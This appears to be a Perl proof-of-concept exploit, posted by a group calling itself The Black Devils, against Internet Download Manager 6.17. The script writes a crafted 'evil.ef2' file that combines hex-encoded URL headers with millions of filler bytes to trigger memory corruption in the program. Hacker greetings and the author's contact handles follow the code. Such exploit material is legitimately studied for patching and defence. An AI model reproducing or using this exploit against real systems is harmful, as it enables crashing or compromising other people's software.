|
#!/usr/bin/perl
system("title The Black Devils");
system("color 1e");
system("cls");
print "\n\n";
print " |=======================================================|\n";
print " |= [!] Name : Internet Download Manager 6.17 ||.ef2 =|\n";
print " |= [!] Exploit : Memory Corruption =|\n";
print " |= [!] Author : The Black Devils =|\n";
print " |= [!] Mail: mr.k4rizma(at)gmail(dot)com =|\n";
print " |=======================================================|\n";
sleep(2);
print "\n";
my $header = "\x3c\n";
my $header1 = "\x3e\n";
my $header2 = "\x68\x74\x74\x70\x3a\x2f\x2f";
my $header3 = "\x77\x77\x77\x2e\x31\x33\x33\x37\x64\x61\x79\x2e\x63\x6f\x6d\x2f\x65\x78\x70\x6c?\x6f\x69\x74\x73\x2f\x31\x39\x32\x31\x31\n";
my $header4 ="\x2e\x63\x6f\x6d\x2f\x64\x61\x72\x6b\x70\x75\x7a\x7a\x6c\x65\x2e\x74\x78\x74\?n";
my $poc = "\x41" x 2000000;
my $poc1 = "\x42" x 400000 ;
my $file = "evil.ef2";
open ($File, ">$file");
print $File $header.$header1.$header2.$header3.$header4.$poc.$poc1;
print "\n [+] File successfully created!\n" or die print "\n [-] OupsS! File is Not Created !! ";
close(file);
Happy BirthDay Joseph
Greetings
KedAns-Dz, x3o-1337 , Red V!per , KinG Of PiraTeS, r0073r, 3xp1r3 Cyber Army ,redhathackers , Gabby ,Sweeta ,
SH3LL05DZ, Aghilas , abood , JoKeR_StEx , all my friends & All Dz Hackers ,
Thanks to all the members of :
-------------------
Screen names
mr.k4rizma(Google Talk)
mr.k4rizma(Windows Live Messenger)
mr.k4rizma(Skype)
th3blackdevils(Twitter)
|
推荐
评论(0条)
